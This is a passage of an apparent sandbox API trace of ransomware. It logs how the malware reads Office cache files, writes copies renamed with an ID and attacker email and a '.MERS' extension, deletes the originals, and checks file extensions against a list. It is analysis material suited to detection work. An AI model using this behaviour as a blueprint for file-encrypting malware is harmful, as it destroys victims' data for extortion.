lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.803] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.803] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.803] ReadFile (in: hFile=0x1c0, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.058] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.059] WriteFile (in: hFile=0x1c0, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x314fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0044.078] SetEndOfFile (hFile=0x1c0) returned 1 [0044.078] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3f32008 [0044.078] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.079] WriteFile (in: hFile=0x1c0, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.080] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.080] WriteFile (in: hFile=0x1c0, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.085] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.085] WriteFile (in: hFile=0x1c0, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.247] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f32008 | out: hHeap=0x5f0000) returned 1 [0044.247] CloseHandle (hObject=0x1c0) returned 1 [0044.247] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0044.248] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0044.248] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0044.248] lstrlenW (lpString=".doc") returned 4 [0044.248] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.248] lstrlenW (lpString=".docx") returned 5 [0044.248] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0044.248] lstrlenW (lpString=".pdf") returned 4 [0044.248] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.248] lstrlenW (lpString=".xls") returned 4 [0044.248] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.248] lstrlenW (lpString=".xlsx") returned 5 [0044.248] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0044.248] lstrlenW (lpString=".ppt") returned 4 [0044.248] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.248] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0044.248] lstrlenW (lpString=".zip") returned 4 [0044.248] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.248] lstrlenW (lpString=".rar") returned 4 [0044.248] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.248] lstrlenW (lpString=".bz2") returned 4 [0044.248] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.248] lstrlenW (lpString=".7z") returned 3 [0044.248] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.248] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0044.249] lstrlenW (lpString=".dbf") returned 4 [0044.249] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0044.249] lstrlenW (lpString=".1cd") returned 4 [0044.249] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0044.249] lstrlenW (lpString=".jpg") returned 4 [0044.249] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0044.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0044.249] lstrlenW (lpString=".doc") returned 4 [0044.249] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.249] lstrlenW (lpString=".docx") returned 5 [0044.249] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0044.249] lstrlenW (lpString=".pdf") returned 4 [0044.249] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.249] lstrlenW (lpString=".xls") returned 4 [0044.249] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.249] lstrlenW (lpString=".xlsx") returned 5 [0044.249] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0044.249] lstrlenW (lpString=".ppt") returned 4 [0044.249] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0044.249] lstrlenW (lpString=".zip") returned 4 [0044.249] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.249] lstrlenW (lpString=".rar") returned 4 [0044.249] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.250] lstrlenW (lpString=".bz2") returned 4 [0044.250] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.250] lstrlenW (lpString=".7z") returned 3 [0044.250] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0044.250] lstrlenW (lpString=".dbf") returned 4 [0044.250] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0044.250] lstrlenW (lpString=".1cd") returned 4 [0044.250] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0044.250] lstrlenW (lpString=".jpg") returned 4 [0044.250] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.250] lstrcmpiW (lpString1=".dll", lpString2=".MERS") returned -1 [0044.250] lstrlenW (lpString="dwintl20.dll") returned 12 [0044.250] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0044.251] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=107912) returned 1 [0044.251] CloseHandle (hObject=0x1c0) returned 1 [0044.251] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 0x2020 [0044.251] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.251] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0044.251] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.251] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.251] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0044.408] GetLastError () returned 0x0 [0044.408] ReadFile (in: hFile=0x1c0, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x314fed4*=0x1a588, lpOverlapped=0x0) returned 1 [0044.581] WriteFile (in: hFile=0x1a4, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0x1a590, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fc9c*=0x1a590, lpOverlapped=0x0) returned 1 [0044.583] ReadFile (in: hFile=0x1c0, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.583] WriteFile (in: hFile=0x1a4, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.583] SetEndOfFile (hFile=0x1a4) returned 1 [0044.583] CloseHandle (hObject=0x1a4) returned 1 [0044.583] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.583] SetEndOfFile (hFile=0x1c0) returned 1 [0044.585] CloseHandle (hObject=0x1c0) returned 1 [0044.585] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0044.585] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 1 [0044.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0044.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0044.585] lstrlenW (lpString=".doc") returned 4 [0044.586] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0044.586] lstrlenW (lpString=".docx") returned 5 [0044.586] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0044.586] lstrlenW (lpString=".pdf") returned 4 [0044.586] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0044.586] lstrlenW (lpString=".xls") returned 4 [0044.586] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0044.586] lstrlenW (lpString=".xlsx") returned 5 [0044.586] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0044.586] lstrlenW (lpString=".ppt") returned 4 [0044.586] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0044.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0044.586] lstrlenW (lpString=".zip") returned 4 [0044.586] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0044.586] lstrlenW (lpString=".rar") returned 4 [0044.586] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0044.586] lstrlenW (lpString=".bz2") returned 4 [0044.586] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0044.586] lstrlenW (lpString=".7z") returned 3 [0044.586] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0044.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0044.586] lstrlenW (lpString=".dbf") returned 4 [0044.586] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0044.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0044.586] lstrlenW (lpString=".1cd") returned 4 [0044.586] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0044.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0044.586] lstrlenW (lpString=".jpg") returned 4 [0044.586] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0044.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0044.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0044.586] lstrlenW (lpString=".doc") returned 4 [0044.587] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0044.587] lstrlenW (lpString=".docx") returned 5 [0044.587] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0044.587] lstrlenW (lpString=".pdf") returned 4 [0044.587] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0044.587] lstrlenW (lpString=".xls") returned 4 [0044.587] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0044.587] lstrlenW (lpString=".xlsx") returned 5 [0044.587] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0044.587] lstrlenW (lpString=".ppt") returned 4 [0044.587] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0044.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0044.587] lstrlenW (lpString=".zip") returned 4 [0044.587] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0044.587] lstrlenW (lpString=".rar") returned 4 [0044.587] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0044.587] lstrlenW (lpString=".bz2") returned 4 [0044.587] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0044.587] lstrlenW (lpString=".7z") returned 3 [0044.587] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0044.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0044.587] lstrlenW (lpString=".dbf") returned 4 [0044.587] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0044.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0044.587] lstrlenW (lpString=".1cd") returned 4 [0044.587] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0044.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0044.587] lstrlenW (lpString=".jpg") returned 4 [0044.587] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0044.587] lstrcmpiW (lpString1=".manifest", lpString2=".MERS") returned -1 [0044.588] lstrlenW (lpString="Microsoft.VC90.CRT.manifest") returned 27 [0044.588] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0044.588] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1857) returned 1 [0044.588] CloseHandle (hObject=0x1c0) returned 1 [0044.588] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 0x2020 [0044.588] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.588] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0044.588] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.588] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.588] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0044.589] GetLastError () returned 0x0 [0044.589] ReadFile (in: hFile=0x1c0, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x314fed4*=0x741, lpOverlapped=0x0) returned 1 [0044.694] WriteFile (in: hFile=0x1a4, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fc9c*=0x750, lpOverlapped=0x0) returned 1 [0044.695] ReadFile (in: hFile=0x1c0, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.695] WriteFile (in: hFile=0x1a4, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fc9c*=0x10a, lpOverlapped=0x0) returned 1 [0044.695] SetEndOfFile (hFile=0x1a4) returned 1 [0044.742] CloseHandle (hObject=0x1a4) returned 1 [0044.742] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.742] SetEndOfFile (hFile=0x1c0) returned 1 [0044.743] CloseHandle (hObject=0x1c0) returned 1 [0044.743] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0044.743] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 1 [0044.864] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.864] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.864] lstrlenW (lpString=".doc") returned 4 [0044.864] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0044.864] lstrlenW (lpString=".docx") returned 5 [0044.864] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0044.864] lstrlenW (lpString=".pdf") returned 4 [0044.864] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0044.864] lstrlenW (lpString=".xls") returned 4 [0044.864] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0044.864] lstrlenW (lpString=".xlsx") returned 5 [0044.864] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0044.864] lstrlenW (lpString=".ppt") returned 4 [0044.864] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0044.864] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.864] lstrlenW (lpString=".zip") returned 4 [0044.864] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0044.864] lstrlenW (lpString=".rar") returned 4 [0044.864] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0044.864] lstrlenW (lpString=".bz2") returned 4 [0044.864] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0044.864] lstrlenW (lpString=".7z") returned 3 [0044.864] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0044.865] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.865] lstrlenW (lpString=".dbf") returned 4 [0044.865] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0044.865] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.865] lstrlenW (lpString=".1cd") returned 4 [0044.865] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0044.865] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.865] lstrlenW (lpString=".jpg") returned 4 [0044.865] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0044.865] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.865] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.865] lstrlenW (lpString=".doc") returned 4 [0044.865] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0044.865] lstrlenW (lpString=".docx") returned 5 [0044.865] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0044.865] lstrlenW (lpString=".pdf") returned 4 [0044.865] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0044.865] lstrlenW (lpString=".xls") returned 4 [0044.865] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0044.865] lstrlenW (lpString=".xlsx") returned 5 [0044.865] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0044.865] lstrlenW (lpString=".ppt") returned 4 [0044.865] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0044.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.866] lstrlenW (lpString=".zip") returned 4 [0044.866] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0044.866] lstrlenW (lpString=".rar") returned 4 [0044.866] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0044.866] lstrlenW (lpString=".bz2") returned 4 [0044.866] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0044.866] lstrlenW (lpString=".7z") returned 3 [0044.866] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0044.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.866] lstrlenW (lpString=".dbf") returned 4 [0044.866] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0044.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.866] lstrlenW (lpString=".1cd") returned 4 [0044.866] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0044.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.866] lstrlenW (lpString=".jpg") returned 4 [0044.866] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0044.866] lstrcmpiW (lpString1=".msi", lpString2=".MERS") returned 1 [0044.866] lstrlenW (lpString="OfficeMUI.msi") returned 13 [0044.866] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 